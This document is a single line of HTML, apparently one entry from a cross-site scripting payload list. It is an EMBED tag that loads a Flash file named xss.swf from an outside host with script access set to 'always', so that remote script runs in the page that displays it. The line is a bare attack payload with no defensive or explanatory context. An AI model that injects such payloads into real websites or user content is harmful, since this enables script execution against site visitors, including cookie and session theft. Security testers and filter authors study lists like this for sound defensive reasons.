<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>